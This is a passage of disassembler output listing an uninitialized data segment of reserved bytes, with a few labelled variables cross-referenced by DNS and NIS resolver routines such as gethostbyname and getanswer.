		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_8079BB8	dd ?			; DATA XREF: _gethtbyname+12o
					; _gethtbyname+20w ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_8079C48	dd ?			; DATA XREF: _gethtbyname+19o
					; _gethtbyname+2Aw ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_8079CD8	dd ?			; DATA XREF: _gethtbyname+20Aw
					; _gethtbyname+2D3o
dword_8079CDC	dd ?			; DATA XREF: _gethtbyname+200w
dword_8079CE0	dd ?			; DATA XREF: _gethtbyname+149w
dword_8079CE4	dd ?			; DATA XREF: _gethtbyname+151w
					; _gethtbyname+244r ...
dword_8079CE8	dd ?			; DATA XREF: _gethtbyname+2C9w
dword_8079CEC	dd ?			; DATA XREF: _gethtbyname+50w
					; _gethtbyname+D3w ...
dword_8079CF0	dd ?			; DATA XREF: _gethtbyname+5Aw
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_8079D78	db    ?	;		; DATA XREF: _gethtbyname+68o
					; _gethtbyname+DCo ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_8079DB8	dd ?			; DATA XREF: _getnishost+14Bw
					; _getnishost+1A0o
dword_8079DBC	dd ?			; DATA XREF: _getnishost+151w
dword_8079DC0	dd ?			; DATA XREF: _getnishost+131w
dword_8079DC4	dd ?			; DATA XREF: _getnishost+127w
dword_8079DC8	dd ?			; DATA XREF: _getnishost+FFw
					; _getnishost+11Er
dword_8079DCC	dd ?			; DATA XREF: _getnishost+76o
					; _getnishost+A9o ...
dword_8079DD0	dd ?			; DATA XREF: _getnishost+71o
					; _getnishost+A4o ...
dword_8079DD4	dd ?			; DATA XREF: init_services_resolv+5Cw
					; init_services_resolv+1F0w ...
dword_8079DD8	dd ?			; DATA XREF: init_services_resolv+66w
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_8079DE4	dd ?			; DATA XREF: getanswer+11Do
					; getanswer+127w ...
dword_8079DE8	dd ?			; DATA XREF: sub_804BEB0+4Br
					; sub_804BEB0+7Dr ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_8079E6C	db    ?	;		; DATA XREF: getanswer+574o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_8079E74	dd ?			; DATA XREF: getanswer+1Fw
					; getanswer+E3w ...
dword_8079E78	dd ?			; DATA XREF: getanswer+113w
					; gethostbyname+59w ...
dword_8079E7C	dd ?			; DATA XREF: getanswer+4DAo
					; getanswer+4E8w ...
dword_8079E80	dd ?			; DATA XREF: getanswer+4C5r
					; getanswer+4D4w ...
dword_8079E84	dd ?			; DATA XREF: getanswer+131w
					; gethostbyname+95w ...
dword_8079E88	dd ?			; DATA XREF: getanswer+FFo
					; getanswer+109w ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
